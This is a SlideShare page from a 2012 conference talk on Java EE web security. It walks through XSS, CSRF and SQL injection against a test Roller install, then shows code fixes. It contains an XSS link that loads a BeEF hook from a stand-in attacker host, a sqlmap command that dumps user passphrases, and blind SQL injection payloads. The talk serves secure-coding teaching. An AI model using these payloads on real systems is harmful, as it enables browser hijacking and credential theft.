SlideShare una empresa de Scribd logo
1 de 40
Descargar para leer sin conexión
Java EE Web Security
     By Example


      JAX 2012
About

•  Frank Kim
  –  Consultant, ThinkSec
  –  Author, SANS Secure Coding in Java/JEE
  –  SANS Application Security Curriculum Lead




           Java EE Web Security By Example       2
What You Should Know

•  Hacking is not hard
•  Don’t trust any data
  – Assume that your
    users are evil!




          Java EE Web Security By Example   3
Outline

•  Web App Attack Refresher
  –  XSS, CSRF, SQL Injection
•  Testing
  –  Hacking an open source app
•  Secure Coding
  –  Fixing security bugs



             Java EE Web Security By Example   4
Cross-Site Scripting (XSS)

•  Occurs when unvalidated data is
   displayed back to the browser
•  Types of XSS
  – Stored
  – Reflected
  – Document Object Model (DOM) based


        Java EE Web Security By Example   5
Cross-Site Request Forgery
           (CSRF)




     Java EE Web Security By Example   6
SQL Injection (SQLi)
•  Occurs when dynamic SQL queries are used
  –  By injecting arbitrary SQL commands, attackers
     can extend the meaning of the original query
  –  Can potentially execute any SQL statement on
     the database
•  Very powerful
  –  #1 on CWE/SANS Top 25 Most Dangerous
     Software Errors
  –  #1 on OWASP Top 10
            Java EE Web Security By Example           7
Outline

•  Web App Attack Refresher
  –  XSS, CSRF, SQL Injection
•  Testing
  –  Hacking an open source app
•  Secure Coding
  –  Fixing security bugs



             Java EE Web Security By Example   8
What are We Testing?
•  Installation of Roller 3.0
•  Fake install of SANS AppSec Street Fighter Blog
•  Want to simulate the actions that a real attacker
   might take
  –  There are definitely other avenues of attack
  –  We're walking through one attack scenario




             Java EE Web Security By Example           9
Attack Scenario

1)  XSS to control the victim's browser
2)  Combine XSS and CSRF to conduct a
    privilege escalation attack
    - Use escalated privileges to access another feature
3)  Use SQL Injection to access the
    database directly



            Java EE Web Security By Example                10
Spot the Vuln - XSS




 Java EE Web Security By Example   11
XSS in head.jsp




Java EE Web Security By Example   12
Testing the "look" Param

•  Admin pages include head.jsp
•  The param is persistent for the session




           Java EE Web Security By Example   13
XSS Exploitation

•  Introducing BeEF
  –  Browser Exploitation Framework
  –  http://www.bindshell.net/tools/beef
•  Uses XSS to hook the victim's browser
  –  Log user keystrokes, view browsing history,
     execute JavaScript, etc
  –  Advanced attacks - Metasploit integration,
     browser exploits, etc

             Java EE Web Security By Example       14
XSS Exploitation Overview

               1) Sends link with evil BeEF script

            http://localhost:8080/roller/roller-ui/yourWebsites.do?look="><script
            src="http://www.attacker.com/beef/hook/beefmagic.js.php"></script>


                                       2) Victim clicks evil link
Attacker                                                                            Victim

                          3) Victim's browser sends data
                                     to attacker



                      Java EE Web Security By Example                                        15
BeEF XSS Demo
Spot the Vuln - CSRF




  Java EE Web Security By Example   17
CSRF in UserAdmin.jsp




 Want to use
CSRF to change
   this field



                 Java EE Web Security By Example   18
CSRF Demo
Spot the Vuln – SQL Injection




      Java EE Web Security By Example   20
SQL Injection in
 UserServlet




Java EE Web Security By Example   21
SQL Injection Testing

• UserServlet is vulnerable to SQLi
  http://localhost:8080/roller/roller-ui/authoring/user




                    No results

             Java EE Web Security By Example              22
Exploiting SQL Injection

•  Introducing sqlmap
  –  http://sqlmap.sourceforge.net
•  Tool that automates detection and exploitation
   of SQL Injection vulns
  –  Supports MySQL, Oracle, PostgreSQL, MS SQL Server
  –  Supports blind, inband, and batch queries
  –  Fingerprint/enumeration - dump db schemas, tables/
     column names, data, db users, etc
  –  Takeover features - read/upload files, exec arbitrary
     commands, exec Metasploit shellcode, etc
             Java EE Web Security By Example                 23
sqlmap Syntax
Ÿ Dump userids and passwords
python sqlmap.py
  -u "http://localhost:8080/roller/roller-ui/
     authoring/user?startsWith=f%25"
  --cookie "username=test; JSESSIONID==<INSERT HERE>"
  --drop-set-cookie -p startsWith
  --dump -T rolleruser -C username,passphrase -v 2




             Java EE Web Security By Example            24
SQL Injection Demo
How it Works
f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS
  CHAR(10000)), CHAR(32)) FROM roller.rolleruser
  LIMIT 2, 1), 1, 1)) > 103 AND 'neEy' LIKE 'neEy

f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS
  CHAR(10000)), CHAR(32)) FROM roller.rolleruser
  LIMIT 2, 1), 1, 1)) > 104 AND 'neEy' LIKE 'neEy

f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS
  CHAR(10000)), CHAR(32)) FROM roller.rolleruser
  LIMIT 2, 1), 1, 1)) > 105 AND 'neEy' LIKE 'neEy



             Java EE Web Security By Example        26
Step By Step [0]

SELECT IFNULL(CAST(passphrase AS CHAR(10000)),
  CHAR(32)) FROM roller.rolleruser LIMIT 2, 1;



returns ilovethetajmahal




           Java EE Web Security By Example       27
Step By Step [1]
select MID((SELECT IFNULL(CAST(passphrase AS
   CHAR(10000)), CHAR(32)) FROM roller.rolleruser
   LIMIT 2, 1), 1, 1);
returns i

select MID((SELECT IFNULL(CAST(passphrase AS
   CHAR(10000)), CHAR(32)) FROM roller.rolleruser
   LIMIT 2, 1), 2, 1);
returns l

select MID((SELECT IFNULL(CAST(passphrase AS
   CHAR(10000)), CHAR(32)) FROM roller.rolleruser
   LIMIT 2, 1), 3, 1);
returns o
           Java EE Web Security By Example          28
Step By Step [2]
select ORD(MID((SELECT IFNULL(CAST(passphrase AS
  CHAR(10000)), CHAR(32)) FROM roller.rolleruser
  LIMIT 2, 1), 1, 1));
returns 105

select ORD(MID((SELECT IFNULL(CAST(passphrase AS
  CHAR(10000)), CHAR(32)) FROM roller.rolleruser
  LIMIT 2, 1), 2, 1));
returns 108

select ORD(MID((SELECT IFNULL(CAST(passphrase AS
  CHAR(10000)), CHAR(32)) FROM roller.rolleruser
  LIMIT 2, 1), 3, 1));
returns 111
           Java EE Web Security By Example         29
Attack Summary

1)  XSS to control the victim's browser
2)  Combine XSS and CSRF to conduct a
    privilege escalation attack
    - Use escalated privileges to access another feature
3)  Use SQL Injection to access the
    database directly



            Java EE Web Security By Example                30
Outline

•  Web App Attack Refresher
  –  XSS, CSRF, SQL Injection
•  Testing
  –  Hacking an open source app
•  Secure Coding
  –  Fixing security bugs



             Java EE Web Security By Example   31
Data Validation
Inbound Data

  Should I be consuming this?
               Validation
                                                    Encoding
                                                    Outbound Data
                                                                      Validation
                                      Application                   Data Store
                                                    Inbound Data

          Encoding                                  Validation
  Should I be emitting this?
                      Outbound Data


                     Java EE Web Security By Example                               32
Output Encoding

•  Encoding
  –  Convert characters so they are treated as data
     and not special characters
•  Must escape differently depending
   where data is displayed on the page
•  XSS Prevention Cheat Sheet
  http://www.owasp.org/index.php/
    XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sh
    eet

           Java EE Web Security By Example            33
Fix XSS in
                head.jsp
•  Add URL encoding
<link rel="stylesheet" type="text/css"
  media="all" href="<%= request.getContextPath()
  %>/roller-ui/theme/<%=
  ESAPI.encoder().encodeForURL(theme) %>/
  colors.css" />




           Java EE Web Security By Example         34
Fix CSRF in
      Update User Functionality
• UserAdmin.jsp
   – Add anti-CSRF token
<input type="hidden" name=<%=
  CSRFTokenUtil.SESSION_ATTR_KEY %> value=<%=
  CSRFTokenUtil.getToken(request.getSession(false)) %> >

• UserAdminAction.java
   – Check anti-CSRF token
  if (!CSRFTokenUtil.isValid(req.getSession(false), req)){
     return mapping.findForward("error");
   }

              Java EE Web Security By Example                35
Fix SQL Injection in
          UserServlet.java
•  Use parameterized queries correctly
if (startsWith == null || startsWith.equals("")) {
    query = "SELECT username, emailaddress FROM rolleruser";
    stmt = con.prepareStatement(query);
} else {
    query = "SELECT username, emailaddress FROM rolleruser
             WHERE username like ? or emailaddress like ?";
    stmt = con.prepareStatement(query);
    stmt.setString(1, startsWith + "%");
    stmt.setString(2, startsWith + "%");
}
rs = stmt.executeQuery();

               Java EE Web Security By Example             36
Building Secure Software




Source: Microsoft SDL


                        Java EE Web Security By Example   37
Remember

•  Hacking is not hard
•  Don’t trust any data
  –  Validate input
  –  Encode output
  –  Use CSRF tokens
  –  Use parameterized queries



            Java EE Web Security By Example   38
Thanks!


Frank Kim
frank@thinksec.com                @sansappsec




          Java EE Web Security By Example       40

Más contenido relacionado

La actualidad más candente

Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0
Rakesh Kachhadiya
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
Erlend Oftedal
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
Haitham Raik
 

La actualidad más candente (20)

Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
 
Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks
 
Not so blind SQL Injection
Not so blind SQL InjectionNot so blind SQL Injection
Not so blind SQL Injection
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
Java Secure Coding Practices
Java Secure Coding PracticesJava Secure Coding Practices
Java Secure Coding Practices
 
Cross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with JavaCross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with Java
 
Java Security
Java SecurityJava Security
Java Security
 
Security in Node.JS and Express:
Security in Node.JS and Express:Security in Node.JS and Express:
Security in Node.JS and Express:
 
Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
 
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP FrameworkVulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
 
Java Security Framework's
Java Security Framework'sJava Security Framework's
Java Security Framework's
 
스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전
스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전
스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전
 
C days2015
C days2015C days2015
C days2015
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection Tutorial
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
Spring4 security
Spring4 securitySpring4 security
Spring4 security
 

Destacado

Amazon Web Services and PaaS - Enterprise Java for the Cloud Era? - Mark Pric...
Amazon Web Services and PaaS - Enterprise Java for the Cloud Era? - Mark Pric...Amazon Web Services and PaaS - Enterprise Java for the Cloud Era? - Mark Pric...
Amazon Web Services and PaaS - Enterprise Java for the Cloud Era? - Mark Pric...
jaxconf
 
Cloud development goes lightweight - Ken Walker
Cloud development goes lightweight - Ken WalkerCloud development goes lightweight - Ken Walker
Cloud development goes lightweight - Ken Walker
jaxconf
 

Destacado (17)

JavaScript: Your New Overlord
JavaScript: Your New OverlordJavaScript: Your New Overlord
JavaScript: Your New Overlord
 
Writing Plugged-in Java EE Apps: Jason Lee
Writing Plugged-in Java EE Apps: Jason LeeWriting Plugged-in Java EE Apps: Jason Lee
Writing Plugged-in Java EE Apps: Jason Lee
 
The Brave New World of Continuous Release - Baruch Sadogursky
The Brave New World of Continuous Release - Baruch SadogurskyThe Brave New World of Continuous Release - Baruch Sadogursky
The Brave New World of Continuous Release - Baruch Sadogursky
 
Hacking JavaFX with Groovy, Clojure, Scala, and Visage: Stephen Chin
Hacking JavaFX with Groovy, Clojure, Scala, and Visage: Stephen ChinHacking JavaFX with Groovy, Clojure, Scala, and Visage: Stephen Chin
Hacking JavaFX with Groovy, Clojure, Scala, and Visage: Stephen Chin
 
CPU Caches - Jamie Allen
CPU Caches - Jamie AllenCPU Caches - Jamie Allen
CPU Caches - Jamie Allen
 
Amazon Web Services and PaaS - Enterprise Java for the Cloud Era? - Mark Pric...
Amazon Web Services and PaaS - Enterprise Java for the Cloud Era? - Mark Pric...Amazon Web Services and PaaS - Enterprise Java for the Cloud Era? - Mark Pric...
Amazon Web Services and PaaS - Enterprise Java for the Cloud Era? - Mark Pric...
 
Cloud development goes lightweight - Ken Walker
Cloud development goes lightweight - Ken WalkerCloud development goes lightweight - Ken Walker
Cloud development goes lightweight - Ken Walker
 
Apache TomEE, Java EE 6 Web Profile on Tomcat - David Blevins
Apache TomEE, Java EE 6 Web Profile on Tomcat - David BlevinsApache TomEE, Java EE 6 Web Profile on Tomcat - David Blevins
Apache TomEE, Java EE 6 Web Profile on Tomcat - David Blevins
 
Living on the edge at Netflix - Adrian Cole
Living on the edge at Netflix - Adrian ColeLiving on the edge at Netflix - Adrian Cole
Living on the edge at Netflix - Adrian Cole
 
The Play Framework at LinkedIn: productivity and performance at scale - Jim B...
The Play Framework at LinkedIn: productivity and performance at scale - Jim B...The Play Framework at LinkedIn: productivity and performance at scale - Jim B...
The Play Framework at LinkedIn: productivity and performance at scale - Jim B...
 
Creating Data Driven Web Apps with BIRT - Michael Williams
Creating Data Driven Web Apps with BIRT - Michael WilliamsCreating Data Driven Web Apps with BIRT - Michael Williams
Creating Data Driven Web Apps with BIRT - Michael Williams
 
The lean startup for enterprise Java developers - Peter Bell
The lean startup for enterprise Java developers - Peter BellThe lean startup for enterprise Java developers - Peter Bell
The lean startup for enterprise Java developers - Peter Bell
 
The Road to Lambda - Mike Duigou
The Road to Lambda - Mike DuigouThe Road to Lambda - Mike Duigou
The Road to Lambda - Mike Duigou
 
How cloud and in memory computing revolutionised enterprise development - Ste...
How cloud and in memory computing revolutionised enterprise development - Ste...How cloud and in memory computing revolutionised enterprise development - Ste...
How cloud and in memory computing revolutionised enterprise development - Ste...
 
Considerations for using NoSQL technology on your next IT project - Akmal Cha...
Considerations for using NoSQL technology on your next IT project - Akmal Cha...Considerations for using NoSQL technology on your next IT project - Akmal Cha...
Considerations for using NoSQL technology on your next IT project - Akmal Cha...
 
Beautiful REST and JSON APIs - Les Hazlewood
Beautiful REST and JSON APIs - Les HazlewoodBeautiful REST and JSON APIs - Les Hazlewood
Beautiful REST and JSON APIs - Les Hazlewood
 
Mocha Raspberry Pi hacking - Stephen Chin
Mocha Raspberry Pi hacking - Stephen ChinMocha Raspberry Pi hacking - Stephen Chin
Mocha Raspberry Pi hacking - Stephen Chin
 

Similar a Java EE Web Security By Example: Frank Kim

They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
michelemanzotti
 
OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root Causes
Marco Morana
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
Frank Kim
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San Francisco
Aditya K Sood
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
Marco Morana
 

Similar a Java EE Web Security By Example: Frank Kim (20)

ASP.NET Web Security
ASP.NET Web SecurityASP.NET Web Security
ASP.NET Web Security
 
Sql Injection V.2
Sql Injection V.2Sql Injection V.2
Sql Injection V.2
 
Api days 2018 - API Security by Sqreen
Api days 2018 - API Security by SqreenApi days 2018 - API Security by Sqreen
Api days 2018 - API Security by Sqreen
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root Causes
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacks
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
 
Secure WordPress Development Practices
Secure WordPress Development PracticesSecure WordPress Development Practices
Secure WordPress Development Practices
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San Francisco
 
WebApps_Lecture_15.ppt
WebApps_Lecture_15.pptWebApps_Lecture_15.ppt
WebApps_Lecture_15.ppt
 
Web Application Security in Rails
Web Application Security in RailsWeb Application Security in Rails
Web Application Security in Rails
 
Hacking 101 (Session 2)
Hacking 101  (Session 2)Hacking 101  (Session 2)
Hacking 101 (Session 2)
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Secure SDLC for Software
Secure SDLC for Software Secure SDLC for Software
Secure SDLC for Software
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
 
Sql injection
Sql injectionSql injection
Sql injection
 

Último

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 

Último (20)

Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Cyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdfCyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdf
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 

Java EE Web Security By Example: Frank Kim

  • 1. Java EE Web Security By Example JAX 2012
  • 2. About •  Frank Kim –  Consultant, ThinkSec –  Author, SANS Secure Coding in Java/JEE –  SANS Application Security Curriculum Lead Java EE Web Security By Example 2
  • 3. What You Should Know •  Hacking is not hard •  Don’t trust any data – Assume that your users are evil! Java EE Web Security By Example 3
  • 4. Outline •  Web App Attack Refresher –  XSS, CSRF, SQL Injection •  Testing –  Hacking an open source app •  Secure Coding –  Fixing security bugs Java EE Web Security By Example 4
  • 5. Cross-Site Scripting (XSS) •  Occurs when unvalidated data is displayed back to the browser •  Types of XSS – Stored – Reflected – Document Object Model (DOM) based Java EE Web Security By Example 5
  • 6. Cross-Site Request Forgery (CSRF) Java EE Web Security By Example 6
  • 7. SQL Injection (SQLi) •  Occurs when dynamic SQL queries are used –  By injecting arbitrary SQL commands, attackers can extend the meaning of the original query –  Can potentially execute any SQL statement on the database •  Very powerful –  #1 on CWE/SANS Top 25 Most Dangerous Software Errors –  #1 on OWASP Top 10 Java EE Web Security By Example 7
  • 8. Outline •  Web App Attack Refresher –  XSS, CSRF, SQL Injection •  Testing –  Hacking an open source app •  Secure Coding –  Fixing security bugs Java EE Web Security By Example 8
  • 9. What are We Testing? •  Installation of Roller 3.0 •  Fake install of SANS AppSec Street Fighter Blog •  Want to simulate the actions that a real attacker might take –  There are definitely other avenues of attack –  We're walking through one attack scenario Java EE Web Security By Example 9
  • 10. Attack Scenario 1)  XSS to control the victim's browser 2)  Combine XSS and CSRF to conduct a privilege escalation attack - Use escalated privileges to access another feature 3)  Use SQL Injection to access the database directly Java EE Web Security By Example 10
  • 11. Spot the Vuln - XSS Java EE Web Security By Example 11
  • 12. XSS in head.jsp Java EE Web Security By Example 12
  • 13. Testing the "look" Param •  Admin pages include head.jsp •  The param is persistent for the session Java EE Web Security By Example 13
  • 14. XSS Exploitation •  Introducing BeEF –  Browser Exploitation Framework –  http://www.bindshell.net/tools/beef •  Uses XSS to hook the victim's browser –  Log user keystrokes, view browsing history, execute JavaScript, etc –  Advanced attacks - Metasploit integration, browser exploits, etc Java EE Web Security By Example 14
  • 15. XSS Exploitation Overview 1) Sends link with evil BeEF script http://localhost:8080/roller/roller-ui/yourWebsites.do?look="><script src="http://www.attacker.com/beef/hook/beefmagic.js.php"></script> 2) Victim clicks evil link Attacker Victim 3) Victim's browser sends data to attacker Java EE Web Security By Example 15
  • 17. Spot the Vuln - CSRF Java EE Web Security By Example 17
  • 18. CSRF in UserAdmin.jsp Want to use CSRF to change this field Java EE Web Security By Example 18
  • 20. Spot the Vuln – SQL Injection Java EE Web Security By Example 20
  • 21. SQL Injection in UserServlet Java EE Web Security By Example 21
  • 22. SQL Injection Testing • UserServlet is vulnerable to SQLi http://localhost:8080/roller/roller-ui/authoring/user No results Java EE Web Security By Example 22
  • 23. Exploiting SQL Injection •  Introducing sqlmap –  http://sqlmap.sourceforge.net •  Tool that automates detection and exploitation of SQL Injection vulns –  Supports MySQL, Oracle, PostgreSQL, MS SQL Server –  Supports blind, inband, and batch queries –  Fingerprint/enumeration - dump db schemas, tables/ column names, data, db users, etc –  Takeover features - read/upload files, exec arbitrary commands, exec Metasploit shellcode, etc Java EE Web Security By Example 23
  • 24. sqlmap Syntax Ÿ Dump userids and passwords python sqlmap.py -u "http://localhost:8080/roller/roller-ui/ authoring/user?startsWith=f%25" --cookie "username=test; JSESSIONID==<INSERT HERE>" --drop-set-cookie -p startsWith --dump -T rolleruser -C username,passphrase -v 2 Java EE Web Security By Example 24
  • 26. How it Works f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1)) > 103 AND 'neEy' LIKE 'neEy f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1)) > 104 AND 'neEy' LIKE 'neEy f%' AND ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1)) > 105 AND 'neEy' LIKE 'neEy Java EE Web Security By Example 26
  • 27. Step By Step [0] SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1; returns ilovethetajmahal Java EE Web Security By Example 27
  • 28. Step By Step [1] select MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1); returns i select MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 2, 1); returns l select MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 3, 1); returns o Java EE Web Security By Example 28
  • 29. Step By Step [2] select ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 1, 1)); returns 105 select ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 2, 1)); returns 108 select ORD(MID((SELECT IFNULL(CAST(passphrase AS CHAR(10000)), CHAR(32)) FROM roller.rolleruser LIMIT 2, 1), 3, 1)); returns 111 Java EE Web Security By Example 29
  • 30. Attack Summary 1)  XSS to control the victim's browser 2)  Combine XSS and CSRF to conduct a privilege escalation attack - Use escalated privileges to access another feature 3)  Use SQL Injection to access the database directly Java EE Web Security By Example 30
  • 31. Outline •  Web App Attack Refresher –  XSS, CSRF, SQL Injection •  Testing –  Hacking an open source app •  Secure Coding –  Fixing security bugs Java EE Web Security By Example 31
